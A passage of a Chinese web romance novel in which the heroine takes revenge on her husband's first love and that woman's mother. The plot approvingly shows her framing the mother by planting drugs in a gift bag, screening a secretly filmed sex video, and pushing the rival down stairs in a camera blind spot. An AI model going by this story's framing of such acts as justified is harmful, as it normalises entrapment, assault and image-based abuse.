她迫不及待的想看季宴礼的脸色。
季知许拿起平板麻溜的给舒星若发了个88888的红包,“妈妈,祝你马到成功!”
舒星若想不到儿子竟然这么贴心,感动得眼泪都快掉了。
“许许,你简直就是妈妈的贴心小宝贝。”
季知许傲娇的仰头:“那必须的,妈妈是我永远的偶像。”
舒星若好奇道:“你哪来的这么多钱?”
“找爸爸要的呀!他扣扣搜搜的都不给我一亿。每次就发个十万,太小气了。”
舒星若:“……”
早餐之后,舒星若让刘管家送季知许去幼儿园,她开车去杨思淼的住所。
这小子不肯跟父母住一起,一来嫌他们管着自己,二来他家别墅离市区远,不方便他混夜店。
杨思淼给舒星若开门,嘴都快咧到耳根了:“若姐,我是不是好了?”
舒星若给他号脉,乖乖,他损耗的肾气竟被这五付药给补起来了。
整个人强壮得不得了。
这药的效果跟临床数据都令人惊喜。
他最近天天锻炼,没有熬夜,精气神都好了很多,看着也不像四十多岁了。
“嗯,好了!”
杨思淼高兴得直跺脚,大声欢呼。要不是舒星若是苏容泽喜欢的女人,他早抱着她转圈圈了。
高兴之余他问了最重要的问题,“那我还要禁欲吗?”
舒星若说:“禁欲倒不用了,但你也不能像以前那么玩了,一次一个女人。少熬夜,平时积极锻炼。”
杨思淼郑重的说:“遵命,我一定改邪归正。”
“其实我认识何欣之前,一次就一个。她带着我玩那些刺激的,越玩越上头。”
提起何欣,舒星若问:“你不是说我治好你,你帮我整治她吗?”
杨思淼说:“放心,我没忘记,我给你看个东西,保证让她在季宴礼面前装不下去。”
第72章 杨思淼拿出证据
杨思淼拿出一只平板电脑,点开一个加密文件夹,这文件的密码一大串。
舒星若心跳加快,定是什么重要的秘密。
文件打开以后里面,是一个视频。
点开,有个带着薄纱面具的女人在跳肚皮舞。
她的面纱薄如蝉翼,定睛一看,视频里的女人赫然是何欣。
跳得很正常,不得不说何欣跳舞真的很魅。
不是舒星若生理性厌恶她,也会夸她跳得好。
但舒星若看了一分多钟,也没看出什么端倪,她抬头看杨思淼:“就这个?”
看完这视频季宴礼可能会更爱何欣。
杨思淼说:“你别急啊,继续看。”
又看了半分钟何欣的卖弄风骚,何欣开始一件一件的脱身上本就不多的衣料。
她像一只软皮蛇一样,边扭边往前爬,眼神极尽勾引。
舒星若第一次直观的感受到何欣的妖娆,怪不得把季宴礼迷得找不着北。
她爬过来,俯身下去,弄得杨思淼手机都没拿稳,镜头晃得厉害。
何欣嘴上娇喘道:“哥哥,我好喜欢。”
后面的内容极尽放荡,杨思淼挺聪明的,自己一直没露脸。
这是舒星若第一次看这种片子,看完以后整个人都三观稀碎。
杨思淼说:“我把这个放给季宴礼看,你猜他会怎样?”
之前他不敢拿出来是怕何欣,把自己不举的事宣扬出去。现在他好了,无往而不利。
舒星若笑:“就看他跟何欣是不是情深似海了,能不能忍受自己眼中的清纯佳人干这种事。他今天出差了,等他回来,我约你。”
“好!”
舒星若前脚刚走,后脚他就跟那些狐朋**约了起来:“兄弟,今晚去新天地定个大包厢,哥要重出江湖了。”
"淼少啊,你终于肯出来了,哥几个都想死你了。放心,今晚美女管够。"
杨思淼想起舒星若的叮嘱,“一个就够了,要顶级的那种。”
“吆,转性了。”
“滚蛋,按我说的办。”
舒星若开车的途中给林安禾打电话,将刚才的事简略说了一下。
林安禾大笑了半分钟,“一定要给季狗看,不过你们得找个私密的地方,不然杨思淼就是传播**罪。”
“那去哪里比较好?”家里季知许在家,很不方便。
林安禾说:“来我家,就说我请你们夫妻俩吃饭。喊上杨思淼,说是我朋友。我家电视屏幕够大,保证让季宴礼体验感拉满。”
舒星若激动不已,一到公司停好车就给季宴礼发信息:【安禾想请我们去她家吃饭,你什么时候有空?】
季宴礼秒回:【明天晚上六点半,到时候我们一起去。】
季宴礼心里一阵雀跃,舒星若都带他见自己的朋友了,她应该是慢慢接受自己了。
只是他已经跟港城的警务处长见过面了,对方答应田玉芬交钱保释,如果舒星若放弃追责,警方也可以不起诉。
季宴礼沉重的闭上眼睛,舒星若恨何欣一家三口入骨,她是不会放弃追责的。
他给何欣打电话:“人已经保释出来了,后面警方还要起诉,除非她放弃追责。我无法说动她。”
何欣心想:“真是个废物,连个女人都说不动,你不会威胁她吗?”
嘴上细柔的说道:“谢谢阿礼,妹妹那边我实在说不上话。我妈虽然做错事了,但是妹妹也因祸得福啊,不然她也嫁不了给你。她又何必揪着这件事不放呢?难道她不喜欢跟你的姻缘吗?得饶人处且饶人。”
季宴礼觉得她的话很有道理,田玉芬算是间接促成了他们这段婚姻了。
他决定回去好好劝一劝舒星若。
恰好今天有个拍卖会,季宴礼去拍了一件东汉宜子孙玉璧,花了2100万。
这块玉璧雕工精湛,尤其是上方宜子孙三个字,表示了对家族的美好祝愿。
虽然舒星若没有生育能力了,但是希望他们一家三口永远和和美美的。
舒星若今天在公司一直琢磨怎么让她手里的三款药量产,自己虽然现在有瑞祥制药的股份了,但是药方和实验数据卖给瑞祥,以后这药就是瑞祥的了。
跟她舒家就半毛钱关系都没有了
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。
她决定去问问外公。
到行止堂的时候,舒延兆还在给病人看病,舒星若在外面等了一会。
行止堂的员工跟舒星若聊天:“星若,你做的产品真的不错呢,经常断货。”
还有人八卦:“那个苏总是不是你男朋友?”
舒星若忙解释:“不是不是,你们千万别乱说,他就是我朋友。”
大家笑:“朋友处久了就变成男朋友了。”
舒星若正要解释的时候,舒延兆那边忙完了。舒星若进去找他,舒延兆第一件事给她号脉:“嗯,身体比之前好一些了。假以时日应该能恢复生育能力。”
舒星若说:“外公,我来不是为这件事的。”
舒延兆蹙眉:“那是什么事?”
舒星若:“您之前给了我三张药方,我们全部做了临床实验,数据很不错。最近我有个朋友用了治不举的那个方子,五副药下去他就好了。”
舒星若打开电脑,给舒延兆看临床数据,他越看越激动。想不到外孙女的执行力这么强。
舒延兆大喜:“好事啊,这么好的方子终于可以造福社会了。”
舒延兆看舒星若面有忧色:“可是遇到了什么难事?”
舒星若点头:“我制药厂没开起来,现在只在做日化线。没有地方生产这些药品。”
舒延兆沉吟道:“可以叫别人生产吗?”
“药品是不可以代加工的,季宴礼给了我瑞祥制药10%的股份,我在考虑要不要把药方和实验数据卖给瑞祥。”
舒延兆虽然讨厌季宴礼,大是大非上绝不含糊:“卖,他们有实力,这药可以尽快上市,造福更多的人。”
舒星若惊奇:“您不是很讨厌季宴礼吗?不怕便宜了他?”
舒延兆摆摆手:“一码归一码,我讨厌他不假,但我也不想这百年药方毫无用武之地。”
舒星若感慨外公的格局比自己大得多,她决定等季宴礼回来跟他说。
出来的时候林安禾的电话来了,“田玉芬被保释了,听说是季狗亲自去的港城。”
舒星若怒火直冲天灵盖。
第73章 竟然背刺她
舒星若忍不住大骂道:“王八蛋,早上还在家表演深情,转身就背刺我。”
林安禾问:“季狗会不会送她出国?不过弃保潜逃她会被港府通缉的。”
舒星若摇头表示不知道,但她不会这么轻易让田玉芬好过的。
“你能查到田玉芬的行踪吗?”
“等我消息。”
舒星若打给季宴礼,秒接:“星若,找我什么事?”
“听说田玉芬已经被保释出来了,是你出面的吗?”舒星若极力让自己的声音听起来平静。
季宴礼没有听出愤怒,猜测舒星若没有发火。
“对,是我。”
舒星若恨不得冲出屏幕**他,她掐着自己的手臂冷静下来。
“你接下来打算怎么做呢?”
“星若,”季宴礼顿了顿:“你可以原谅田玉芬吗?”
舒星若讥笑道:“她害**我妈,你觉得我凭什么原谅她?”
面对舒星若的逼问,季宴礼也无从下口去劝。未经他人苦,莫劝人向善。
“我知道了,田玉芬的事我不会再管。”
“好,希望你不要心软。”
季宴礼保证道:“星若,你相信我,我不会再伤害你了。”
得到了肯定的答复,舒星若略微放下心来。但是她不知道等一下何欣跟他撒撒娇,他是不是又脑子进水了。
所以她得尽快解决田玉芬。
给林安禾打去电话,“季宴礼说他不再管田玉芬的事,不过我觉得只是暂时的。”
林安禾高兴的笑了:“季狗终于像一回人了。我听说港城的顶尖律师会帮她打这场官司,可能会脱身。”
舒星若的眼神变冷,她猜测这又是季宴礼的手笔。
“那就让她自寻死路好了,你查到她的行踪没有?”
林安禾:“住在喜来登酒店,入的季狗的账。听说订了明天回来的机票。”
“好,我知道了。”
舒星若握着手机的手有些颤抖,她心里有了主意,但是必须要个有能力且可靠的人帮忙。
唯一的人选是苏容泽。
这是她这辈子仅有的机会,能向田玉芬复仇了。
她犹豫了半天给苏容泽打去电话:“有空出来吗?我有事想找你帮忙。”
苏容泽低沉的声音传来:“地址发给我,我这就过来。”
舒星若订了一家私密会所的包间,苏容泽有些好奇:“搞得这么神秘干嘛?”
他心怀期盼,是不是舒星若有什么重大的事要跟她说,难道是她突然爱上了自己?
舒星若开门见山:“田玉芬明天回海市,我想让她背上运D罪,你可以帮我吗?”
苏容泽迟疑,运D可是大罪,虽然说他有能力在港城搞到D品,但是万一查出来,他也难逃干系。
舒星若说:“我知道这事查出来会连累你,这样子,我留下胁迫你的录音,如果真的东窗事发,你举报我。”
她必须要搞死田玉芬,自毁前程也在所不惜。但是她不能连累苏容泽,这事本身跟他没有关系。
不是走投无路,她也不会找他帮忙。
苏容泽沉吟道:“我不需要你录音,我愿意帮你除掉仇人。”
舒星若摇头:“不行,我不能连累你,必须留下录音。”
苏容泽眼神炙热的望着她,将她拉进怀里,“我心甘情愿上你这艘贼船,谁让我被你偷了心。”
苏容泽初次告白,心都快跳出来了。
在舒星若的心中,他是一个非常可靠的朋友,自己并不爱他。
“对不起,我不爱你。”
苏容泽呼吸一滞,艰难的说道:“即使你不爱我,我也要帮你。”
他满心满眼的心疼舒星若,为了她,他甘愿疯狂一次。
“行,你找个可靠的人给田玉芬送一个名牌包,里面藏51克的BD。藏D去找卖的人,他们不会爆出来。让他们把包放在固定地点,派那人去取。送包的人给一百万**。”
“好!”
苏容泽立刻安排他在港城的人去办。
这事特别凶险,舒星若看向苏容泽,动容的说道:“谢谢你愿意跟我冒险。”
苏容泽满眼柔情的看向她:“我只知道让你开心是我的职责所在。”
舒
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星若说:“你这样好,我不知道怎么回报你。”
“我从来都不图回报。”
舒星若感激的流下泪来,她在心中暗下决心,一旦跟季宴礼离婚了,她会试着去爱苏容泽。
这是她欠他的。
回到家的时候,季宴礼已经回来了,他见舒星若一脸疲惫,关心的问道:“你是不舒服吗?”
舒星若摇头:“不是,就是有点累。”她心地善良,谋害人她心里也不好受。
季宴礼将玉璧送上,“希望你以后都平安顺遂。”
舒星若接过来,看着价值不菲的玉璧,心想:“他心虚了,律师肯定是他请的。”
“谢谢!”
见舒星若反应冷淡,季宴礼说:“你放心,我不会再插手田玉芬的事。”
舒星若觉得有必要釜底抽薪:“那你还给她请全港最好的律师?”
季宴礼惊讶于舒星若的消息灵通,他说:“毕竟何欣是我的救命恩人,她求我,我于心不忍。”
舒星若看向他,“我们做个交易怎么样?”
季宴礼心口直疼:“星若,我们之间只剩下交易了吗?”
“不然呢?”她冷峻的望着他,“何欣是你的救命恩人,你有求必应。从不考虑我的感受,我只能跟你谈交易。”
季宴礼沉重的闭上眼睛,深吸一口气。
“你说吧。”
舒星若打开电脑给季宴礼看那三个古方的数据,季宴礼震惊之余对舒星若刮目相看。
“你竟然能研发这么牛的药品?”
舒星若说:“不是我研发的,是舒家的祖传药方。我只是论证。药方卖给瑞祥制药,附加条件是你撤回律师。”
从数据上来看,这三款药一旦上市,瑞祥制药的市值至少翻五倍。
怪不得舒星若当时要开制药厂,原来是手握王牌。
以季宴礼的商业敏感度,他果断决定要拿下。
“我出五亿买这三个药方和所有临床数据,律师我明天就撤回。”
“一言为定。”
舒星若心情格外舒畅,撤回了律师,田玉芬的头她可以顺利收下了。
第74章 女神形象崩塌
翌日上午十一点就传来了好消息,田玉芬在过海关的时候被抓了。包的夹层里有51克BD,够死刑了。
她没有律师帮忙,BD搜出来的时候方寸大乱,摸了那包D品,大喊大叫了:“是有人陷害我。”
在D品上留下了指纹,跳进黄河她也洗不清了。
等待她的只有法律的制裁。
舒星若憋在心里这么多年的恶气终于出了。
她想跟苏容泽分享喜悦,但为了避嫌,这几天不能联系他。
林安禾知道这事没那么巧,必定有舒星若的手笔。
她只是想不到平常乖巧柔顺的闺蜜会这么狠,而且还能短时间找人来帮她。
中午舒星若找她吃饭的时候,她说:“是他帮你的吗?”
两人心知肚明这个“他”指的是苏容泽,为了不连累大家,舒星若叫林安禾不要再过问这件事。
林安禾说:“何欣肯定会利用这事在季狗面前扮娇弱,上一波大分。”
舒星若挑眉:“应该是最后一次了吧,我不信他看了那视频还能继续跟她你侬我侬。”
林安禾吃了一口西兰花,“那可不一定,季狗脑子已经被狗吃了。”
舒星若说:“昨天晚上长回来一点了,我卖给他三个药方,他撤回田玉芬的律师。”
林安禾提起钱更有兴趣了,眼睛都在发光,“卖了多少钱?”
“五个小目标。”
林安禾玩笑道:“靠,你发达了。以后我们吃饭都你买单。”
“包的。你帮我查田玉芬的行踪,想必费了不少钱和人情。”她掏出手机打给银行经理,让他往林安禾账上转了两百万。
林安禾收到到账信息,眼睛都笑弯了,“星若,以后你指南我打那。”
舒星若笑:“你不一直这样的吗?”只要是舒星若的事她都特别上心。
下午舒星若跟着袁晶和冯胜去选址,袁晶选了三个门店位置,陆家嘴的写字楼楼下、徐家汇的购物中心和虹口的居民区。
租金属购物中心的最贵。
最后舒星若拍板在购物中心里,人流量大,曝光率高,跟线上门店互为拉动效应。
门店的装修设计问题全部交给袁晶和装修公司沟通。
忙完了这些,舒星若接到了一个陌生电话。
对方的声音有些苍老,“舒小姐,我是姜学名,听说你想约我见面,今晚七点在外滩餐厅怎么样?”
姜学名?就是那个无缘无故坑自己的大佬。
舒星若心脏狂跳,不知道对方是疯子还是真的跟自己有仇。
她顿了顿说道:“我今晚约了人,改天。”
姜学名微微一笑:“你确定不来?我往后可不一定有时间了。”
比起姜学名,舒星若对何欣的兴趣更大,语气恳切的说:“姜总,我今晚真的有事。”
电话那头立刻是盲音。
大佬生气了?
舒星若管不了那么多,开车去林安禾家。
林安禾只是工薪阶层,房子在浦东偏远处。家里装的是粉色少女风,跟她平时的形象完全不搭。
不过舒星若觉得每次来林安禾家都觉得很舒心,非常的温馨。
林安禾没空做饭,舒星若叫一家私房菜送了六菜一汤上来,还特意准备了红酒。
三人静等好戏开场。
季宴礼来的时候带了一盒高档燕窝,他递给林安禾:“送给你!”
他希望自己慢慢融入舒星若的生活,对她身边的朋友也留心了一些。
“谢谢季总!”林安禾的回答客气中带着冷漠。
季宴礼看见杨思淼有些诧异,问舒星若:“他怎么在这?”他生怕苏容泽从屋里走出来。
林安禾说:“淼少是我的朋友,刚好他今天有空,一起来吃饭。”
季宴礼也不再疑心什么,坐下安心吃饭。
席间他给舒星若夹菜倒酒,表现得像个真正的丈夫。
换着以前,舒星若会感激涕零,现在她毫无感觉。
反而还觉得季宴礼有点烦。
席间杨思淼问起林安禾,最近有没有处理什么奇葩离婚案子。提到离婚两个字季宴礼格外紧张,他怕舒星若再度提起。
季宴礼蹙眉:“我们好好的吃饭,提离婚干嘛?”
杨思淼说:“我只是想听故事而已。”
林安禾说:“我当事人是个富婆,婚前有六套房子。他老公很帅,以前是健身房教练,在她买的名牌加持下,现在人模狗样的像个成功人士。他去参加同学聚会跟初恋勾搭上了,他那点工资基本上都给初恋买包和衣服了,还经常刷我当事人的卡给初恋买东西。”
杨思淼在一旁补刀:“初恋要是好的话,当初为什么要分手?这个初恋肯定是看上他的钱了。”
林安禾喝了一口红酒说道:“对,就是看上他的钱,她以为男的现在发达了,撺掇男的跟老婆离婚。”
她说着瞟了一眼季宴礼,季宴礼脸色很难看,他怀疑林安禾讲这个故事就是为了挖苦自己。
看舒星若听得很乐呵,他也不好当场发作。
林安禾接着说:“我当事人去捉奸,把两人给打了。狗男女现在住院,两个都轻伤二级。现在男的嚷嚷着让当事人分她一半房产,否则就让她坐牢。”
舒星若惊得嘴都变形了:“她一v二还把人打成轻伤二级,这战斗力真够猛的?”
杨思淼不太懂国内的法律,“轻伤二级很严重吗?”
林安禾笑:“严重,两个人都被打骨折了。”
舒星若有点同情这个女人:“可以让她不既不分房子也不坐牢吗?”
林安禾说:“我正在研究办法呢。”
杨思淼说:“这女人不聪明,自己动手干嘛?叫个人当街把狗男女的衣服撕了才好玩。”他说着也看向季宴礼。
季宴礼脸上火辣辣的,仿佛他们都在抽自己耳光,舒星若这都交的什么朋友?
杨思淼提议:“我们看会电影吧!”
林安禾打开电视机,选了一部喜剧,季宴礼脸色这才缓和了起来。
看了五六分钟,杨思淼将何欣的视频投屏到电视上。
见到何欣扭动的身体,季宴礼如遭雷击,他的初恋女神怎么会变成了这个样子?
随后看到的画面更让他生理不适,铁青着脸看完视频。
杨思淼笑眯眯的说:“季总,你的初恋白月光跟了我六年。六年前的八月你们应该还没分手吧?她在我的派对上主动勾引的我。”
第75章 瞎眼有所好转
季宴礼铁青着脸望着舒星若:“你今天请我来,主要就是为了让我看这个的吧?”
亏他还以为舒星若愿意让他参与自己的生活,想不到是这么伤害自己。
众目睽睽之下,让自己像个傻子。
杨思淼抛出一塌文件,里面都是这些年他给何欣的转账记录,还有何欣刷他信用卡的记录。
他笑嘻嘻的望着季宴礼:“季总,你猜何欣当初为什么急着勾引我?”
舒星若之前一直想不通何欣为什么设计自己,杨思淼一听就明白了。
季宴礼不蠢,所有的事一串联,他明白了。
当年季氏陷入财务危机,何欣认为季氏翻不了身了,提前榜上了杨思淼。
杨思淼家当年是海市首富,她以为他会像季宴礼一样大方,以后自己依然过着纸醉金迷的生活。
她不敢提分手,怕季宴礼做出什么过激行为。
于是亲手将舒星若送上他的床,只有这样她可以光明正大的分手,且季宴礼会一直痛恨舒星若。
赤裸裸的真相将季宴礼的心撕得粉碎,他捧在手心的白月光不过是个贪慕虚荣的女人。
而他六年来肆意伤害的人,爱他如命。
季宴礼觉得自己像个笑话,他们所有人都在看自己的笑话。
他踉跄着出了门,言永飞在楼下等他。
季宴礼问:“你们是不是都看出来,何欣缠着我只是为了我的钱?”
言永飞说:“季总,她救过您,又是您的初恋,您对她有滤镜很正常。当局者迷。”
是的,自己只是被迷惑了。季宴礼想着,眼下他要做的就是跟何欣决裂,挽回舒星若的心。
他将何欣拉黑,让言永飞通知季氏大厦的保安,以后绝对不能放何欣出来。
季宴礼走了以后,他们三个在家喝酒庆祝,林安禾说:“季狗终于长脑子了,不知道他接下来会不会帮你对付何欣。”
舒星若将杯子中的红酒一饮而尽:“放心吧,绝对不会。在他眼里,何欣是救命恩人,不给她帮助,已经是极限了。”
自从六年前她喝了那杯酒后失控,她再也没喝过酒。
阴霾散去,值得喝一杯庆贺。
杨思淼说:“我怎么觉得这个救命之恩有猫腻呢。”
舒星若一直是这么认为的,但是当年那条路没有监控,她没看清楚司机长什么样,无从可查。
林安禾问舒星若:“你接下来还会对付何欣吗?”
舒星若抬眸:“当然,她想毁了我的人生,还想抢走我的丈夫,我跟她不死不休。”
杨思淼试探的问道:“你这么恨何欣,不会还爱季宴礼吧?”
舒星若伸出手指晃道:“不,我才不想要他呢。”
杨思淼举杯:“那祝你早日离婚成功。”
舒星若乐了,与他碰杯:“你这话我最爱听。”
三人喝光了两瓶红酒,才意犹未尽的散场。
舒星若等代驾的时候,林安禾说:“你可能会提前离婚成功。”
舒星若本来喝得有点蒙了。瞬间来了精神,“什么情况?”
“前几天苏容泽找我问你那个分居申请的情况,他话里话外都说一年半太久了,估计他要想办法让分居提前生效。”
舒星若茫然:“他还能修改港城的法律?”
林安禾说:“法律修改肯定修改不了,但我总觉得他爱上你了,会想办法让你早点离婚的。”
舒星若对这事不抱什么希望,她比较头疼的是接下来跟季宴礼怎么相处?
那货身边没有何欣了,他会不会再次霸王硬上弓?
见舒星若喝得醉醺醺的回来,季宴礼眉头打结:“让我出丑你就这么开心吗?”
舒星若今天心情好,对他态度也好了起来:“一杯酒让我被你骂了六年,你认清了何欣的真面目,我不得喝酒庆祝一下吗?”
“所以你还是在乎我的?”
舒星若脑子里像一团浆糊:“啊,在乎你?不能在乎的,越在乎心越痛。”她说完就倒在了他身上。
季宴礼抱着她上楼将她放到床上,让佣人帮她换了睡衣。
舒星若的话还在他的脑海里回响,她被自己伤得太重了,她都不敢爱了。
心里一阵剧痛,当年车祸后,他态度那么差,季氏前途不明,她不离不弃。坚持救他、拼命生下孩子。
她明明好得像耀眼的星星,他却一直践踏她的真心。
季宴礼,你就是个傻子?居然被蒙蔽了这么多年,她该多失望才想离开你。
季宴礼深深的叹息,挨着舒星若躺下,他暗下决心:“星若,以后我会好好守护你的。”
早上舒星若醒来发现自己衣服被换了,季宴礼也躺在自己身边,心想:“完蛋了,不会被这混蛋占便宜了吧?”
她推醒季宴礼,季宴礼温柔一笑:“早啊,星若!”
“你帮我换的衣服?”
季宴礼说:“我让刘阿姨换的。”
舒星若长舒了一口气,季宴礼见状,明白舒星若现在有多厌恶自己。
“星若,我不会像上次那样对你的了。我会等你回心转意。”
舒星若像听到什么天方夜谭,惊异的望着他。
季宴礼说:“我知道,这些年让你受了太多委屈,才让你心灰意冷的。你给我点时间,我发誓,我一定会做个好丈夫。”
舒星若讥讽道:“万一你的救命恩人又自杀诉衷情你怎么办?”
季宴礼说:“我已经把她拉黑了,不会再见她。”
这倒是个好消息,何欣没了季宴礼这个大靠山,舒星若想着接下来怎么对付她。
舒星若的喜气季知许一眼就看出来了,“亲爱的妈咪,您今天好漂亮哦。”
季宴礼笑着说:“你妈每天都漂亮。”
季知许和舒星若对季宴礼的转变都很不习惯,他小声问道:“爸爸是不是吃错药了?”
“是受了刺激。”
季知许说:“怪不得眼瞎病减轻了。”
一家人其乐融融的吃完早餐,季宴礼非让舒星若坐他的车去公司,他要在苏容泽面前宣誓主权。
舒星若直摇头,狗男人怎么这么幼稚。
高峰像活见鬼一样,第一次见总裁和夫人一起坐车。好在他是司机,可以边开车边吃瓜。
季宴礼问舒星若:“最近直播间还有人捣乱吗?”
第76章 别打成轻伤就行
“有。”
就昨晚电脑部还举报了一堆黑子账号。
姜学名可能是被舒星若拒绝了,恼羞成怒,更加疯狂的打压她。
季宴礼关心的问道:“需要我出手帮忙吗?”
“暂时不用。”
舒星若疏离又冷漠。
季宴礼也不好再问什么。
过了一会,舒星若缓缓开口:“你给何欣拍的珠宝能要回来吗?”
季宴礼眼中划过诧异:“送出去的东西不能要回来的。你也喜欢吗?”
“要是我说是呢?”
“我去想办法。”
舒星若并非喜欢那套珠宝,她只想让何欣没钱。
“你要是去买下来就算了。”
季宴礼去买就是原价,何欣去卖会折价。
季宴礼被他说中心思,低头不语。
两人一路无话到了东盛大厦的楼下。
高峰觉得他俩简直就跟刚相亲的男女一样,坐在一起尬聊。这瓜吃得不太爽利。
季宴礼说:“晚上我来接你下班。”
舒星若:“不用了,我打车也能回去,我晚上可能有事。”
季宴礼两次被拒,心头很是失落。
到了公司,言永飞感觉天塌了。总裁脸上冷若寒霜,这脾气要是发下来,那就是雷霆之怒。
大家一天都在胆战心惊。
舒星若下车走了进去,在电梯间遇见了苏容泽,见到苏容泽她有种劫后余生的感觉。
两人默契地相视一笑,一切尽在不言中。
宗司辰心里纳闷:“他俩这是好上了?”看着也不像,倒像是两个拍档。
苏容泽开口:“我听说他今天送你来的?”
消息是真灵通。
舒星若淡淡道:“他失恋了,在找存在感呢。”
苏容泽望着她明亮的眼睛:“你没有哄?”
“我没有收垃圾的嗜好。”
苏容泽会心一笑,走进了专用电梯。宗司辰被这两人的哑谜弄得一头雾水。
到公司之后,舒星若处理完手头的工作,立刻打给姜学名。
响了起来七八声才接起来,“舒小姐,这是来求饶的吗?”
舒星若眉头蹙起,“姜总,我自问没有得罪过您,不知道什么深仇大恨,让您要费尽心思对付我?”
姜学名说:“晚上六点去南湾八号一品堂包厢等我,我告诉你原因。”
“好!”
她准备随身带上毫针,情况不妙她就扎姜学名。
随后跟着袁晶去新门店看现场情况,他们动作迅速,已经约好了设计师。
何欣这边急得像热锅上的蚂蚁,本来季宴礼说好早上带她去看守所探望田玉芬的。
她打季宴礼电话,居然被拉黑了。
拿何宏的电话打,也是一样的效果。
何欣急了,失去季宴礼她的豪门生活即将泡汤。
她赶去季氏大厦,她的门禁卡失效了,进不去。
让保安开门,保安说:“何小姐,昨天总裁办下通知了,以后您不能进季氏。”
何欣大惊失色:“不能进入?我是他女朋友,你们是不是弄错了?”
“没错,您走吧。”保安猜测两人吵架了,就季总今天进公司那个脸色,快结冰了。
何欣出了季氏,她不会轻易放弃季宴礼的,谋划着整点幺蛾子让季宴礼出来。
一小时后,季宴礼收到了医院的电话,“你女朋友被人从楼梯上推下来,你过来一趟。”
季宴礼心想,何欣这次挺下血本的,竟然能从楼梯上滚下来。
他打开手机,翻到舒星若低头看书的照片,掐了一下自己的掌心:“都是骗人的。”
他的手机再次响起,何欣用护士的手机打的:“阿礼,我好痛,我浑身是血,你来医院看我吧。”
季宴礼一言不发的挂了,手机调成静音,继续埋头工作。
言永飞敲门进来,“太太进辖区派出所了,说是推人下楼梯。”
本来舒星若不想让季宴礼知道的,但是派出所说只能打给她的亲人。不能打给外公外婆,只能打给季宴礼。
季宴礼的电话没人接,让他们打言永飞的。
季宴礼打开手机,看到三个座机的陌生来电。心头一颤,“在那个辖区?”
“静安片区。”
“给他们所长打电话,我这就过去。”
季宴礼火急火燎赶到的时候,舒星若正气定神闲的在里面帮民警把脉。
“你这个是脾虚火旺,不是什么大问题。一周吃三次山药百合绿豆粥,一个月就能好。”
“好嘞,谢谢舒大夫。”
另外一位民警开门,她抬了抬眼皮,见到来接她的季宴礼微微愣神。
他竟然没去医院陪何欣,转性了?
民警说:“你老婆把人家推下楼梯,对方要求验伤。如果是轻伤只要对方提告,她就会坐牢。当然赔钱也能和解,要看受害者的意思。”
所长那边打过招呼,可以保释舒星若出来。
临走时,旁边的女警小声对舒星若说:“下次打小三注意点分寸,只要达不到轻伤,赔钱就行。”
舒星若莞尔:“好的,谢谢!”
她是医生,林安禾是律师,能不能到轻伤她心里有数。
见舒星若不仅不担心,还嬉皮笑脸,季宴礼头有点大。
坐进车里,季宴礼就按捺不住的问她:“你是把何欣推下楼了?”
那地方是监控盲区,现场又只有他们俩,只要她不承认,即使上了法庭也是模棱两可的事。
舒星若冷冷的说:“你别想套我的话。”狗男人,还想给何欣找证据。
季宴礼心口一阵刺痛,他们之间的信任崩塌至此。
“不管怎么样,我会帮你善后。”
“不需要。”
她敢推就已经留好了后路。
“星若,我是你老公,我可以帮你的。”
“不用,谢谢!”
季宴礼心里一阵郁结。
方才舒星若看完场地,遇见心情烦闷进商场买东西发泄的何欣。她支开袁晶和冯胜。
舒星若决定诈一诈何欣。
“季宴礼在你身上花的钱是夫妻共同财产,我可以起诉你一分不拉的要回来。还让你背上小三的骂名。”
何欣顿时慌了,“舒星若,我劝你不要赶尽杀绝。他现在已经不理我了,你赢了,还不行吗?”
很好,她不知道有婚前协议这事。
舒星若微微一笑:“其实只要你帮我跟他离婚,我就不追究。”
“离婚?”何欣眼前一亮,也对,她现在榜上了苏容泽,想离开季宴礼很正常。
“你跟我来。”
第77章 卑微的季总
何欣警惕的问:“你要带我去哪?”
舒星若低声在她耳边说:“这里人多眼杂,我们去后楼梯间,我教你怎么让季宴礼跟我离婚。”
何欣跟着舒星若来到楼梯间,刚才他们看消防通道的时候,就发现了这个监控死角。
何欣停下脚步,“说吧!”
舒星若猛地一脚踹了过去,何欣穿着高跟鞋,重心往后,尖叫着滚了下去,浑身是血。
舒星若见她这副狼狈的模样,心里特别畅快。
拿出毫针往她的断红穴和郄门穴扎了两针,给她止血,让何欣不至于构成轻伤。
但是她身上的痛并未减少半分,楼道里回荡着何欣凄厉的叫声。
舒星若扎完针之后,顺手按了一下何欣的膻中穴,只这一下何欣感觉痛得魂飞魄散。
何欣忍着浑身剧痛掏出手机报警,舒星若一脸喜悦的走了出去,继续跟袁晶和冯胜工作。
警察来抓她的时候她非常淡定,交代袁晶他们继续跟设计师对接。
她不跟季宴礼说这些事,何欣害死了她的孩子,季宴礼可以装瞎,她不行。
季宴礼眼中划过悲伤:“为什么事到如今你还不信任我呢?”
她眼带讥讽:“季总,你只要别帮何欣就是给我最大的帮助了。”
季宴礼叹了口气:“你既然口口声声说不爱我了,为什么要这么疯狂对付何欣?”
舒星若懒得搭理他,她心想:“我是没有能力对付你,不然连你一块端了。”
她对高峰说:“送我去南湾八号。”
南湾八号只招待有身份的会员,海市有会员的人不到一百,以舒星若现在的资质进不去。
季宴礼眼神变冷:“约了苏容泽?”
“是与不是都跟你没有关系,我有自己的自由。”厌恶感涌了上来。
季宴礼脸色晦暗:“我偏要陪你进去,看看到底是何方神圣?”
“要是我我们被人拍了,我可要亮出结婚证了,你的何欣可就成小三了?”她的语气里充斥着幸灾乐祸。
“她本来就是。”
舒星若惊呆了,都想给他号脉,怎么会转性这么快?
跟着就跟着吧,后车还有季宴礼的两个保镖,这样自己也安全些。
服务员将他们带进包厢里,姜学名已经到了。
不是苏容泽,季宴礼松了一口气。
但是姜学名这种大佬,舒星若怎么会认识?
难道是看上她了?
季宴礼不由得警惕了起来。
姜学名一张大方脸,五官却很小,显得脸像一个盆。
方脸的人真的不显老,他看起来最多四十出头,不像五十多的人。
他见到舒星若微微愣神,让他想起了那位逝去多年的故人。
像,太像了。
他的眼神让舒星若诧异,他似乎并不认识自己。都不认识,哪来的深仇大恨非要搞她。
见舒星若带了季宴礼和保镖过来,他嘴角微弯:“舒小姐果然谨慎,来见我还带这么多人。”
他抬起下巴指着季宴礼:“你不是有女朋友吗?怎么脚踏两只船?”
季宴礼掷地有声的说:“舒星若是我的老婆。”
这话像一道惊雷炸得姜学名直接站了起来,“你结婚了?什么时候的事?”
季宴礼牵起舒星若的手,炫耀似的举起来:“六年前我们就在港城注册了,孩子都五岁了。”
姜学名缓缓坐下,消化着突如其来的消息。
舒星若松开季宴礼的手,问道:“姜总,您该说说为什么要针对我了吧?”
